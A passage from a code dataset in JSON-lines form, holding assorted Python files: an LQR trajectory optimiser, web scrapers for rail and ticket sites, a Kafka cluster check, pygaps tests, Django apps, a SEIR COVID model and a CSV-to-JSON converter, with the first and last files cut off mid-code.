gcm_traj_distr.Qm[t, :, :]\n gcm_qv = gcm_traj_distr.qv[t, :]\n ref_Qm = ref_traj_distr.Qm[t, :, :] # (X+U) x (X+U)\n ref_qv = ref_traj_distr.qv[t, :] # (X+U) x 1\n\n # Add in the value function from the next time step.\n if t < T - 1:\n Qm += Fm[t, :, :].T.dot(Vm[t + 1, :, :]).dot(Fm[t, :, :])\n qv += Fm[t, :, :].T.dot(vv[t + 1, :] + Vm[t + 1, :, :].dot(fv[t, :]))\n\n # Symmetrize quadratic component to counter numerical errors.\n Qm = 0.5 * (Qm + Qm.T)\n\n\n\n x_gcm = mu_gcm[t, index_x]\n u_gcm = mu_gcm[t, index_u]\n\n traj_distr.K[t, :, :], traj_distr.k[t, :], traj_distr.pol_covar[t, :, :], traj_distr.chol_pol_covar[t, :,\n :], traj_distr.inv_pol_covar[t, :,\n :] = self._compute_advantage_controller(Qm, qv, ref_Qm, ref_qv, gcm_Qm, gcm_qv, traj_info.xmu[t, index_x], traj_info.xmu[t, index_u], x_gcm, u_gcm, dimU, dimX)\n\n Vm[t, :, :], vv[t, :] = self._compute_value_function(Qm, qv, traj_distr.K[t, :, :], traj_distr.k[t, :], dimU, dimX)\n\n return traj_distr\n\n def _compute_advantage_controller(self, Qm, qv, ref_Qm, ref_qv, gcm_Qm, gcm_qv, x_real, u_real, x_gcm, u_gcm, dU,\n dX):\n index_x = slice(dX)\n index_u = slice(dX, dX + dU)\n\n # Compute Cholesky decomposition of Q function action\n # component.\n U = sp.linalg.cholesky(Qm[index_u, index_u])\n L = U.T\n\n # Compute mean terms.\n K = -sp.linalg.solve_triangular(\n U, sp.linalg.solve_triangular(L, Qm[index_u, index_x],\n lower=True)\n )\n\n # Compute advantage offset + cost-to-go under current trajectory\n q_adv = qv[index_u] + gcm_Qm[index_u, index_x].dot(x_gcm) + gcm_Qm[index_u, index_u].dot(u_gcm) + gcm_qv[\n index_u] - ref_Qm[index_u, index_x].dot(x_real) - ref_Qm[index_u, index_u].dot(u_real) - ref_qv[index_u]\n\n k = -sp.linalg.solve_triangular(\n U, sp.linalg.solve_triangular(L, q_adv, lower=True)\n )\n\n # Store conditional covariance, inverse, and Cholesky.\n pol_covar = sp.linalg.solve_triangular(\n U, sp.linalg.solve_triangular(L, np.eye(dU), lower=True)\n )\n chol_pol_covar = sp.linalg.cholesky(\n pol_covar\n )\n inv_pol_covar = Qm[index_u, index_u]\n return K, k, pol_covar, chol_pol_covar, inv_pol_covar\n\n def _compute_value_function(self, Qm, qv, K, k, dU, dX):\n index_x = slice(dX)\n index_u = slice(dX, dX + dU)\n\n # Compute value function.\n Vm = Qm[index_x, index_x] + \\\n Qm[index_x, index_u].dot(K)\n # Symmetrize quadratic component to counter numerical errors.\n Vm = 0.5 * (Vm + Vm.T)\n vv = qv[index_x] + Qm[index_x, index_u].dot(k)\n return Vm, vv\n\n","sub_path":"python/gps/algorithm/traj_opt/traj_opt_lqr_python.py","file_name":"traj_opt_lqr_python.py","file_ext":"py","file_size_in_byte":16334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"543161033","text":"from lxml import html\r\nimport requests\r\n\r\ndef Get_Precentage():\r\n \"\"\"\r\n Extract the accuracy percentage shown in the www.rail.co.il site\r\n Args:\r\n None\r\n Return:\r\n List with the percentage of accuracy\r\n \"\"\"\r\n urlstr = \"http://www.rail.co.il/HE/Pages/homepage.aspx\"\r\n page = requests.get(urlstr)\r\n html_tree = html.fromstring(page.content)\r\n prct = html_tree.xpath('//span[@id=\"ctl00_m_g_53a07755_af4c_46c7_b31b_d8b5eea42f02_ctl00_labelPunc\"]/text()')\r\n return prct\r\n","sub_path":"simple/train/accuracy_percentage_exractor.py","file_name":"accuracy_percentage_exractor.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"409484860","text":"\"\"\"\nThis is a script to check the operation of the Kafka cluster with AdminClient from confluent-kafka.\nReference: https://github.com/confluentinc/confluent-kafka-python/blob/master/examples/adminapi.py\n\"\"\"\n\nfrom confluent_kafka.admin import AdminClient, NewTopic\nimport pprint\n\n# create admin client\nadmin = AdminClient({'bootstrap.servers': 'kafka-cluster:9092'})\n\n# create topic\nnew_topic = NewTopic('ckp-test-topic', num_partitions=1, replication_factor=1)\ncreate_dict_futures = admin.create_topics([new_topic])\n\n# check if topic is created\nfor c_topic, c_future in create_dict_futures.items():\n try:\n c_future.result()\n print('Topic {} successfully created'.format(c_topic))\n except Exception as e:\n print('Failed to create topic {}: {}'.format(c_topic, e))\n\n# retrieve cluster metadata\ncluster_metadata = admin.list_topics()\n\n# list topic details\ndict_topics = cluster_metadata.topics\ntopic_metadata = dict_topics['ckp-test-topic']\ndict_topic_partitions = topic_metadata.partitions\npartition0_metadata = dict_topic_partitions[0]\np_id = partition0_metadata.id\np_leader = partition0_metadata.leader\np_replicas = partition0_metadata.replicas\np_isrs = partition0_metadata.isrs\n\nprint('\\nTopic Details:')\nprint(' Partition ID: {}'.format(p_id))\nprint(' Leader: {}'.format(p_leader))\nprint(' Replicas: {}'.format(p_replicas))\nprint(' In-Sync Replicas: {}'.format(p_isrs))\n\n# list brokers details\ndict_brokers = cluster_metadata.brokers\ncontroller_id = cluster_metadata.controller_id\nprint('\\nBrokers:')\npprint.pprint(dict_brokers)\nprint('\\nCluster Controller: {}\\n'.format(controller_id))\n\n# delete topic\ndelete_dict_futures = admin.delete_topics(['ckp-test-topic'], operation_timeout=30)\n\n# check if topic is deleted\nfor d_topic, d_future in delete_dict_futures.items():\n try:\n d_future.result()\n print('Topic {} successfully deleted'.format(d_topic))\n except Exception as e:\n print('Failed to delete topic {}: {}'.format(d_topic, e))\n","sub_path":"utils/check-kafka-cluster.py","file_name":"check-kafka-cluster.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"617824843","text":"\"\"\"\nThis test module has tests relating to Langmuir area calculations\n\"\"\"\n\nimport os\n\nimport pytest\nfrom matplotlib.testing.decorators import cleanup\nfrom numpy import isclose\n\nimport pygaps\n\nfrom .conftest import DATA\nfrom .conftest import DATA_N77_PATH\n\n\n@pytest.mark.characterisation\nclass TestAreaLangmuir():\n \"\"\"\n Tests everything related to Langmuir surface area calculation\n \"\"\"\n\n @pytest.mark.parametrize('file, expected_langmuir',\n [(data['file'], data['langmuir_area']) for data in list(DATA.values())])\n def test_area_langmuir(self, file, expected_langmuir):\n \"\"\"Test calculation with several model isotherms\"\"\"\n\n filepath = os.path.join(DATA_N77_PATH, file)\n\n with open(filepath, 'r') as text_file:\n isotherm = pygaps.isotherm_from_json(\n text_file.read())\n\n langmuir_area = pygaps.area_langmuir(isotherm).get(\"area\")\n\n err_relative = 0.1 # 10 percent\n err_absolute = 0.1 # 0.1 m2\n\n assert isclose(langmuir_area, expected_langmuir,\n err_relative, err_absolute)\n\n def test_area_langmuir_choice(self):\n \"\"\"Test choice of points\"\"\"\n\n data = DATA['MCM-41']\n\n filepath = os.path.join(DATA_N77_PATH, data['file'])\n\n with open(filepath, 'r') as text_file:\n isotherm = pygaps.isotherm_from_json(\n text_file.read())\n\n langmuir_area = pygaps.area_langmuir(\n isotherm, limits=[0.05, 0.30]).get(\"area\")\n\n err_relative = 0.1 # 10 percent\n err_absolute = 0.1 # 0.1 m2\n\n assert isclose(langmuir_area, data['s_langmuir_area'],\n err_relative, err_absolute)\n\n @cleanup\n def test_area_langmuir_output(self):\n \"\"\"Test verbosity\"\"\"\n\n data = DATA['MCM-41']\n\n filepath = os.path.join(DATA_N77_PATH, data['file'])\n\n with open(filepath, 'r') as text_file:\n isotherm = pygaps.isotherm_from_json(\n text_file.read())\n\n pygaps.area_langmuir(isotherm, verbose=True)\n","sub_path":"tests/calculations/test_area_langmuir.py","file_name":"test_area_langmuir.py","file_ext":"py","file_size_in_byte":2077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"162669041","text":"__author__ = 'chance'\r\n\r\nimport tools\r\nfrom bs4 import BeautifulSoup\r\nimport time\r\nimport push\r\nfrom git import Repo\r\nfrom datetime import datetime\r\n#import html\r\nfrom html import HTML\r\n\r\ndef html_line(text,plus=0):\r\n h = HTML()\r\n p = \"\"\r\n if(plus):\r\n p = plus\r\n h.p(str(text)+p)\r\n f.write(str(h))\r\n\r\ndef html_hr():\r\n h = HTML()\r\n f.write(str(h.hr))\r\n\r\n\r\n\r\ninst = push.Push()\r\n\r\nsleep_interval = 8\r\n\r\nurl = \"https://www.stubhub.com/the-strokes-tickets-the-strokes-inglewood-the-forum-los-angeles-3\" \\\r\n \"-14-2020/event/104567878/?sliderMax=203.84%2C34.92&qty=2&sort=quality%20desc%2Cprice%20asc&sortKey=bestSeats&excl=1\"\r\n\r\ngitfile_name = \"site/mobile/stub.html\"\r\noutfile_name = \"/media/sf_Shared/first/site/mobile/stub.html\"\r\n\r\nh = HTML()\r\nhtml_head = \"Stub
    \"\r\nhtml_footer = \"\"\r\n\r\nrepo = Repo(\"/media/sf_Shared/first\")\r\nassert not repo.bare\r\ngit = repo.git\r\n\r\nflag = 0\r\n\r\n\r\nwhile (1):\r\n\r\n now = datetime.now() # current date and time\r\n date_time = now.strftime(\"%m/%d/%Y-%H:%M:%S\")\r\n\r\n f = open(outfile_name, \"w\")\r\n f.write(html_head)\r\n\r\n px_flag = 0\r\n\r\n try:\r\n\r\n driver = tools.get_driver()\r\n driver.get(url)\r\n time.sleep(sleep_interval)\r\n\r\n html = driver.page_source\r\n\r\n soup = BeautifulSoup(html,'html.parser')\r\n\r\n for div in soup.find_all('div', class_='RoyalTicketListPanel__column'):\r\n for h1 in div.find_all('h1'):\r\n flag = 0\r\n section = h1.text\r\n section_name = section.split()\r\n len_sec_num = len(section_name)\r\n section_short = section_name[len_sec_num-1]\r\n if(section_short.isnumeric()):\r\n section_number = int(section_short)\r\n if( (section_number >= 108 and section_number <= 113 ) or (section_number < 4) or (\r\n section_number >= 124 and section_number <= 129 )):\r\n flag = 1\r\n print(section_short)\r\n html_line(section_short,\": \")\r\n\r\n break\r\n else:\r\n flag = 1\r\n print(section_short)\r\n html_line(section_short,\": \")\r\n break\r\n\r\n for px in div.find_all('div', class_='PriceDisplay__price'):\r\n if(flag):\r\n px_flag = 1\r\n print(px.text)\r\n html_line(px.text)\r\n html_hr()\r\n\r\n\r\n print(date_time)\r\n html_line(date_time)\r\n f.write(\"\")\r\n f.write(html_footer)\r\n f.close()\r\n\r\n if (px_flag):\r\n git.add(gitfile_name)\r\n time.sleep(sleep_interval)\r\n git.commit('-m','update',gitfile_name)\r\n time.sleep(sleep_interval)\r\n git.push()\r\n else:\r\n print(\"No push\")\r\n\r\n time.sleep(sleep_interval)\r\n driver.quit()\r\n time.sleep(40)\r\n\r\n except:\r\n print (\"Get page failed \")\r\n driver.quit()\r\n time.sleep(40)\r\n","sub_path":"site/push_notification/test_stub.py","file_name":"test_stub.py","file_ext":"py","file_size_in_byte":3281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"408202684","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/ccodeinline/__init__.py\n# Compiled at: 2013-10-28 00:22:06\n__version__ = '0.0.1'\n__author__ = 'Maxiste Deams/Patrick Riendeau < maxistedeams@gmail.com >'\n__license__ = 'OpenBSD'\n__version__ = '0.0.1'\n__date__ = '28 October 2013'","sub_path":"pycfiles/ccodeinline-0.0.1-py2.7/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"523847547","text":"from django.shortcuts import render, HttpResponse, redirect\nfrom django.contrib import messages\nfrom django import forms\nfrom .models import Card\n\n\ndef index(request):\n return render(request, '../templates/index.html')\n\n\ndef create(request):\n errors = Card.objects.card_validator(request.POST)\n if len(errors):\n for key, value in errors.items():\n messages.error(request, value)\n return redirect(\"/\")\n else:\n new_card = Card.objects.create()\n new_card.sender = request.POST['sender']\n new_card.recipient = request.POST['recipient']\n new_card.event = request.POST['event']\n new_card.noun1 = request.POST['noun1']\n new_card.noun2 = request.POST['noun2']\n new_card.noun3 = request.POST['noun3']\n new_card.noun4 = request.POST['noun4']\n new_card.noun5 = request.POST['noun5']\n new_card.noun6 = request.POST['noun6']\n new_card.noun7 = request.POST['noun7']\n new_card.noun8 = request.POST['noun8']\n new_card.noun9 = request.POST['noun9']\n new_card.adj1 = request.POST['adj1']\n new_card.adj2 = request.POST['adj2']\n new_card.adj3 = request.POST['adj3']\n new_card.adj4 = request.POST['adj4']\n new_card.adj5 = request.POST['adj5']\n new_card.adj6 = request.POST['adj6']\n new_card.adj7 = request.POST['adj7']\n new_card.save()\n request.session['id'] = new_card.id\n\n context = {\n 'card': new_card\n }\n\n return redirect(\"/card\", context)\n\n\ndef show(request):\n new_card = Card.objects.get(id=request.session['id'])\n context = {\n 'card': new_card\n }\n\n return render(request, '../templates/card.html', context)\n\n\ndef clear(request):\n request.session.clear()\n return redirect('/')\n","sub_path":"apps/MadLibs/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"120624372","text":"#This SEIR model was modified from the python version of https://cs.uwaterloo.ca/~paforsyt/SEIR.html\r\n\r\nimport numpy as np\r\nimport parameters as parameters\r\nfrom scipy import integrate\r\nfrom calculations import seir_function\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nfrom numpy import savetxt\r\n\r\nS_0 = 328239522 #USA population excluding initial infected, exposed population,\r\n\r\nI_0 = 1\r\n\r\nE_0 = 1.0 * I_0 # initial exposed.\r\n\r\nR_0 = 0 # none are recovered yet as of Jan 21.\r\n\r\nN = S_0 + I_0 + E_0 + R_0 # N = total population\r\n\r\nsigma = 1/5.2 #(average duration of incubation is 1/δ)\r\n#transmission rate from exposed -> infected\r\n#incubation rate\r\ngamma = 1./7\r\n\r\n\r\nc = 0 #mutations. not yet\r\n\"\"\"\r\n R_zero = number of people infected by each infectious person\r\n this has nothing to do with \"R\" = removed above\r\n or R_0 (initial value of recovered)\r\n but is common terminology (confusing, but usual notation)\r\n time dependent, starts off large, then drops with\"\"\"\r\n # time due to public health actions (i.e. quarantine, social distancing)\r\n\"\"\" R_zero > 1, cases increase\r\n R_zero < 1 cases peak and then drop off \r\n R_zero declining with time https://www.nature.com/articles/s41421-020-0148-0\r\n beta = R_zero*gammma (done in \"seir.m\" )\r\n\r\n table of: time(days) R_zero\r\n .... ....\r\n .... ....\r\n .... ....\r\n linearly interpolate between times\r\n Note: this is different from Wang et al (2020), which assumes\r\n piecewise constant values for R_zero\r\n\"\"\"\r\nr_zero_array = np.zeros([7, 2])\r\nr_zero_array[0, :] = [0.0, 2.2] # t=0 days https://www.scientificamerican.com/article/how-does-the-new-coronavirus-compare-with-the-flu/\r\nr_zero_array[1, :] = [30, 2.2] # 60 2/20\r\n#For the following days this source was used: http://metrics.covid19-analysis.org/\r\nr_zero_array[2, :] = [60.0, 2.19] # 3/21\r\nr_zero_array[3, :] = [70.0, 1.43] # 3/31\r\nr_zero_array[4, :] = [90.0, 1.04] # 4/20\r\nr_zero_array[5, :] = [120, 0.96] # t 5/20\r\nr_zero_array[6, :] = [150.0, 1.21 ] #6/19\r\n\r\n\r\n#it's different for each state\r\nparams = parameters.Params(c, N, sigma, gamma, r_zero_array)\r\noutputs = []\r\nt_0 = 0\r\ntspan = np.linspace(t_0, 184, 183) # start to end of time in days, array\r\n# time, size, index\r\n\r\ny_init = np.zeros(4)\r\ny_init[0] = S_0\r\ny_init[1] = E_0\r\ny_init[2] = I_0\r\ny_init[3] = R_0\r\n\r\n\r\ndef seir_with_params(t, y):\r\n return seir_function(t, y, params)\r\n\r\nr = integrate.ode(seir_with_params).set_integrator(\"dopri5\")\r\nr.set_initial_value(y_init, t_0)\r\ny = np.zeros((len(tspan), len(y_init)))\r\n\r\ny[0, :] = y_init # array for solution\r\nfor i in range(1, 183):\r\n y[i, :] = r.integrate(tspan[i])\r\n if not r.successful():\r\n raise RuntimeError(\"Could not integrate\")\r\n# generate model\r\nfig, axes = plt.subplots(ncols=4)\r\naxes[0].plot(tspan, y[:, 0], color=\"b\", label=\"S\")\r\naxes[1].plot(tspan, y[:, 1], color=\"r\", label=\"E\")\r\naxes[0].set(xlabel=\"time (days)\", ylabel=\"S: susceptible\")\r\naxes[1].set(xlabel=\"time (days)\", ylabel=\"E: exposed\")\r\naxes[2].plot(tspan, y[:, 2], color=\"g\", label=\"I: infectious\")\r\naxes[3].plot(tspan, y[:, 3], color=\"b\", label=\"R: recovered\")\r\naxes[2].set(xlabel=\"time (days)\", ylabel=\"I: infectious\")\r\naxes[3].set(xlabel=\"time (days)\", ylabel=\"R: recovered\")\r\naxes[0].legend()\r\naxes[1].legend()\r\naxes[2].legend()\r\naxes[3].legend()\r\n\r\nplt.savefig('plot.png')\r\nplt.show()\r\n\r\ntotal_cases = y[:, 1] + y[:, 2] + y[:, 3]\r\ntotal_cases_active = y[:, 1] + y[:, 2]\r\n\r\nfig, ax = plt.subplots()\r\nax.plot(tspan, total_cases, color=\"b\", label=\"E+I+R: Total cases\")\r\nax.plot(tspan, total_cases_active, color=\"r\", label=\"E+I: Active cases\")\r\nax.set(xlabel=\"time (days)\", ylabel=\"Patients\", title='Cumulative and active cases')\r\nplt.legend()\r\nplt.savefig('total_cases.jpg')\r\nplt.show()\r\n\r\nnsteps = np.size(tspan)\r\nS_end = y[nsteps - 1, 0]\r\nE_end = y[nsteps - 1, 1]\r\nI_end = y[nsteps - 1, 2]\r\nR_end = y[nsteps - 1, 3]\r\n\r\ntotal = S_end + E_end + I_end + R_end\r\n#3292913.4716165434\r\n#3224194.074574421\r\nprint('time (days): % 2d' % tspan[nsteps - 1])\r\n\r\nprint('total population: % 2d' % total)\r\n\r\nprint('initial infected: % 2d' % I_0)\r\n\r\nprint('total cases (E+I+R) at t= % 2d : % 2d' % (tspan[nsteps - 1], E_end + I_end + R_end))\r\n\r\nprint('Recovered at t= % 2d : % 2d \\n' % (tspan[nsteps - 1], R_end))\r\nprint('Infected (infectious) at t= % 2d : % 2d \\n' % (tspan[nsteps - 1], I_end))\r\nprint('Exposed (non-infectious) at t= % 2d : % 2d \\n ' % (tspan[nsteps - 1], E_end))\r\nprint('Susceptable at t= % 2d : % 2d \\n ' % (tspan[nsteps - 1], S_end))\r\n\r\n#saved E,I,R cases in a csv file.\r\nsave= np.savetxt('outputs.csv', total_cases, delimiter = ',')\r\nfile = open('outputs.csv', 'r')\r\nprint(file.read())\r\n","sub_path":"simple_SEIR/NYT_sim.py","file_name":"NYT_sim.py","file_ext":"py","file_size_in_byte":4767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"408102370","text":"#!/usr/bin/env python\n\"\"\"\n__author__ = 'nick.york, david.dougherty'\n__license__ = 'https://www.apache.org/licenses/LICENSE-2.0'\n__copyright__ = 'Copyright (c) 2019 Virtual Instruments Corporation. All rights reserved.'\n__date__ = '2019-12-18'\n__version__ = '1.0.1'\n\"\"\"\n\nimport click\nimport json\nimport os\n\n\nclass Entity:\n def __init__(self, name, etype, tags, child_entities):\n self.name = name\n self.type = etype\n self.tags = tags\n self.child_entities = {\"add\": child_entities}\n\n def __lt__(self, other):\n return self.name < other.name\n\n def to_JSON(self):\n return json.dumps(self, default=lambda o: o.__dict__, sort_keys=False, indent=2)\n\n\nclass ApplicationEntity:\n def __init__(self, name, etype, tags, initiator_list):\n self.name = name\n self.type = etype\n self.tags = tags\n self.itl_patterns = []\n self.devices = {'add' : []}\n\n for i in initiator_list:\n if i.count(\":\") == 2:\n # I:T:L\n self.itl_patterns.append({\"edit_type\": \"add\", \"initiator\": i.split(\":\")[0], \"target\": i.split(\":\")[1], \"lun\": i.split(\":\")[2]})\n elif i.count(\":\") == 1:\n # I:T\n self.itl_patterns.append({\"edit_type\": \"add\", \"initiator\": i.split(\":\")[0], \"target\": i.split(\":\")[1] })\n else:\n self.devices['add'].append(i)\n if len(self.itl_patterns) < 1:\n del(self.itl_patterns)\n if len(self.devices['add']) < 1:\n del(self.devices)\n\n def __lt__(self, other):\n return self.name < other.name\n\n def to_JSON(self):\n return json.dumps(self, default=lambda o: o.__dict__, sort_keys=False, indent=2)\n\n\nclass Top:\n def __init__(self):\n self.version = 2\n self.entities = []\n\n def to_JSON(self):\n return json.dumps(self, default=lambda o: o.__dict__, sort_keys=False, indent=2)\n\n\n@click.command('vw_csv_relations_to_json', short_help='Convert CSV entities to importable JSON')\n@click.argument('csv_in', type=click.File('r'))\n@click.argument('json_out', type=click.File('w'))\ndef main(csv_in, json_out):\n \"\"\"\n This script generates an importable JSON file from a CSV file containing\n entity definitions.\n\n Input is a CSV file formatted as follows:\n\n Type,Name,Tags,Item1,Item2,...,ItemN\n\n Type is one of: application, hba, host, storagearray, storagecontroller, iomodule.\n\n Tags is a semicolon-separated list of words.\n\n Example\n\n \\b\n hba,hba1,tag1;tag2;tag3,hba1port1,hba1port2\n hba,hba2,,hba2port1,hba2port2\n host,host1,tag4;tag5,hba1\n host,host2,,hba2\n application,app1,tag6;tag7,host1,host2\n\n Output is a JSON file that can be imported into VirtualWisdom, either via\n the UI or via the command line using the vw_import_entities script.\n\n The command is pipeable; simply replace either the input file, output file,\n or both with a dash (-).\n\n Examples (Linux/macOS/Unix):\n\n (venv) $ vw_csv_relations_to_json relations.csv import.json\n\n (venv) $ cat relations.csv | vw_csv_relations_to_json - - | vw_import_entities ... -\n \"\"\"\n if os.name == 'nt':\n success = 'success'\n fail = 'fail '\n else:\n success = b'\\xe2\\x9c\\x94'.decode('utf-8')\n fail = b'\\xe2\\x9c\\x98'.decode('utf-8') + ' '\n\n\n top = Top()\n\n for line in csv_in:\n if line.count(',') < 2:\n continue\n etype = line.split(',')[0].strip().replace(\"'\", '').replace('\"', '')\n name = line.split(',')[1].strip().replace(\"'\", '').replace('\"', '')\n tag_line = line.replace(\"'\", '').replace('\"', '').split(',')[2].split(';')\n if tag_line[0] == '':\n tags = []\n else:\n tags = tag_line\n members = []\n for member in line.replace(\"'\", '').replace('\"', '').split(',')[3:]:\n members.append(member.strip())\n if etype.lower() == 'application':\n top.entities.append(ApplicationEntity(name, etype, tags, members))\n else:\n top.entities.append(Entity(name, etype, tags, members))\n\n json_out.write(top.to_JSON())\n json_out.write('\\n')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"vwimporttools/vw_csv_relations_to_json.py","file_name":"vw_csv_relations_to_json.py","file_ext":"py","file_size_in_byte":4202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"541006838","text":"from django.shortcuts import render, redirect, get_object_or_404, reverse\nfrom django.template import loader\nfrom django.http import HttpResponse, JsonResponse\nfrom django.contrib.auth.decorators import login_required\nfrom .models import DocumentName, DocumentTemplate, Document\nfrom ..worker.models import Worker\nfrom ..employer.models import Employer, Address, Position\nfrom ..account.models import Company\nfrom .forms import DocumentNameForm, DocumentTemplateForm, DocumentForm\nfrom django.contrib import messages\nfrom django.utils.translation import gettext_lazy as _\nfrom io import StringIO, BytesIO\nfrom docxtpl import DocxTemplate, RichText\nfrom .contexttags import tags, get_visa\nfrom django.utils.dateparse import parse_date\nfrom datetime import datetime\nfrom django.conf import settings\nimport os\n\n\n\n@login_required()\ndef index(request):\n documents_names = DocumentName.objects.all()\n context = {\n 'breadcrumb': [\n {'url': reverse('main:index'), 'title': _(\"Home\")},\n {'url': reverse('document:index'), 'title': _('Documents names')},\n ],\n 'documents_names':documents_names,\n }\n template = loader.get_template('document/index.html')\n return HttpResponse(template.render(context, request))\n\n@login_required()\ndef add_document_name(request):\n form = DocumentNameForm(request.POST)\n if request.method == \"POST\":\n if form.is_valid():\n document_name = form.save(commit=False)\n document_name.save()\n messages.info(request, _('%(document_name)s successfully added') %\n {'document_name':document_name})\n return redirect ('document:index')\n else:\n messages.info(request, _(\"Document name don't saved\"))\n return redirect ('document:index')\n else:\n context = {\n 'breadcrumb': [\n {'url': reverse('main:index'), 'title': _(\"Home\")},\n {'url': reverse('document:index'), 'title': _('Documents')},\n {'url': reverse('document:add_document_name'), 'title': _('Add document name')},\n ],\n 'name_form':_(\"Add document name\"),\n }\n return render(request, 'document/edit_document_name.html', context)\n\n\n@login_required()\ndef edit_document_name(request, pk):\n document_name = get_object_or_404(DocumentName, pk=pk)\n form = DocumentNameForm(request.POST, instance=document_name)\n if request.method == \"POST\":\n if form.is_valid():\n document_name = form.save(commit=False)\n document_name.save()\n messages.info(request, _('%(document_name)s successfully changed') % {'document_name':document_name})\n return redirect ('document:index')\n else:\n context = {\n 'breadcrumb': [\n {'url': reverse('main:index'), 'title': _(\"Home\")},\n {'url': reverse('document:index'), 'title': _('Documents')},\n {'url': reverse('document:edit_document_name', args=[document_name.id]), 'title': _('Change')},\n ],\n 'name_form':_(\"Change document name\"),\n 'document_name': document_name,\n }\n return render(request, 'document/edit_document_name.html', context)\n\n\n@login_required()\ndef delete_document_name(request, pk):\n document_name = get_object_or_404(DocumentName, pk=pk)\n document_name.delete()\n messages.info(request, _('%(document_name)s successfully deleted') %\n {'document_name':document_name})\n return redirect ('document:index')\n\n@login_required()\ndef add_template(request, pk):\n document_name = get_object_or_404(DocumentName, pk=pk)\n if request.method == \"POST\":\n templates = request.FILES.getlist('template')\n for t in templates:\n if t.name[-4:] == 'docx':\n form = DocumentTemplateForm(request.POST, request.FILES)\n if form.is_valid():\n template = form.save(commit=False)\n template.document_name = document_name\n template.template = t\n template.save()\n messages.info(request, _('Template to %(document_name)s successfully added') %\n {'document_name':document_name})\n else:\n messages.info(request, _(\"Template don't saved\"))\n else:\n messages.info(request, _(\"Template don't saved, because is not docx document\"))\n return redirect ('document:index')\n else:\n name_form = \"{0} {1}\".format(_(\"Add template to\"), document_name)\n context = {\n 'breadcrumb': [\n {'url': reverse('main:index'), 'title': _(\"Home\")},\n {'url': reverse('document:index'), 'title': _('Documents')},\n {'url': reverse('document:add_template', args=[document_name.id]), 'title':name_form},\n ],\n 'name_form':name_form,\n 'document_name':document_name,\n }\n return render(request, 'document/add_template.html', context)\n\n@login_required()\ndef delete_template(request, pk):\n template = get_object_or_404(DocumentTemplate, pk=pk)\n template.delete()\n messages.info(request, _('Template %(template)s sucsessfully deleted') %\n {'template':template})\n return redirect ('document:index')\n\n@login_required()\ndef add_document(request, pk):\n worker = get_object_or_404(Worker, pk=pk)\n form = DocumentForm(request.POST)\n employers =Employer.objects.all()\n companies = Company.objects.all()\n documents_names = DocumentName.objects.all()\n if request.method == \"POST\":\n position = request.POST.get('position')\n position = get_object_or_404(Position, pk=int(position)) if position != '' else None\n company = request.POST.get('company')\n company = get_object_or_404(Company, pk=int(company)) if company != '' else None\n document_name = request.POST.get('document_name')\n document_name = get_object_or_404(DocumentName, pk=int(document_name))\n if form.is_valid():\n document = form.save(commit=False)\n document.worker=worker\n document.position=position\n document.company=company\n document.save()\n messages.info(request, _('Document to %(worker)s successfully added') %\n {'worker':worker})\n return redirect ('worker:info_worker', worker.id)\n else:\n messages.info(request, _(\"Document don't saved\"))\n return redirect ('worker:info_worker', worker.id)\n else:\n context = {\n 'breadcrumb': [\n {'url': reverse('main:index'), 'title': _(\"Home\")},\n {'url': reverse('worker:index'), 'title': _('Workers')},\n {'url': reverse('worker:info_worker', args=[worker.id]), 'title': worker},\n {'url': reverse('document:add_document', args=[worker.id]), 'title': _('Add document')},\n ],\n 'name_form':_(\"Add document\"),\n 'worker':worker,\n 'employers':employers,\n 'companies':companies,\n 'documents_names':documents_names,\n }\n return render(request, 'document/edit_document.html', context)\n\n@login_required()\ndef edit_document(request, pk):\n document = get_object_or_404(Document, pk=pk)\n print(document.number)\n form = DocumentForm(request.POST, instance=document)\n employers =Employer.objects.all()\n companies = Company.objects.all()\n documents_names = DocumentName.objects.all()\n if request.method == \"POST\":\n position = request.POST.get('position')\n position = get_object_or_404(Position, pk=int(position)) if position != '' else None\n company = request.POST.get('company')\n company = get_object_or_404(Company, pk=int(company)) if company != '' else None\n document_name = request.POST.get('document_name')\n document_name = get_object_or_404(DocumentName, pk=int(document_name))\n if form.is_valid():\n document = form.save(commit=False)\n document.position=position\n document.company=company\n document.save()\n messages.info(request, _('Document to %(worker)s successfully edited') %\n {'worker':document.worker})\n return redirect ('worker:info_worker', document.worker.id)\n else:\n messages.info(request, _(\"Document don't saved\"))\n return redirect ('worker:info_worker', document.worker.id)\n else:\n context = {\n 'breadcrumb': [\n {'url': reverse('main:index'), 'title': _(\"Home\")},\n {'url': reverse('worker:index'), 'title': _('Workers')},\n {'url': reverse('worker:info_worker', args=[document.worker.id]), 'title': document.worker},\n {'url': reverse('document:edit_document', args=[document.id]), 'title': _('Edit document')},\n ],\n 'name_form':_(\"Edit document\"),\n 'document':document,\n 'employers':employers,\n 'companies':companies,\n 'documents_names':documents_names,\n 'worker':document.worker,\n }\n return render(request, 'document/edit_document.html', context)\n\n@login_required()\ndef delete_document(request, pk):\n document = get_object_or_404(Document, pk=pk)\n document.delete()\n messages.info(request, _('Document %(document)s sucsessfully deleted') %\n {'document':document})\n return redirect ('worker:info_worker', document.worker.id)\n\n\nimport unicodedata\nfrom django.utils.http import urlquote\n\ndef disposition(file_name):\n ascii_name = 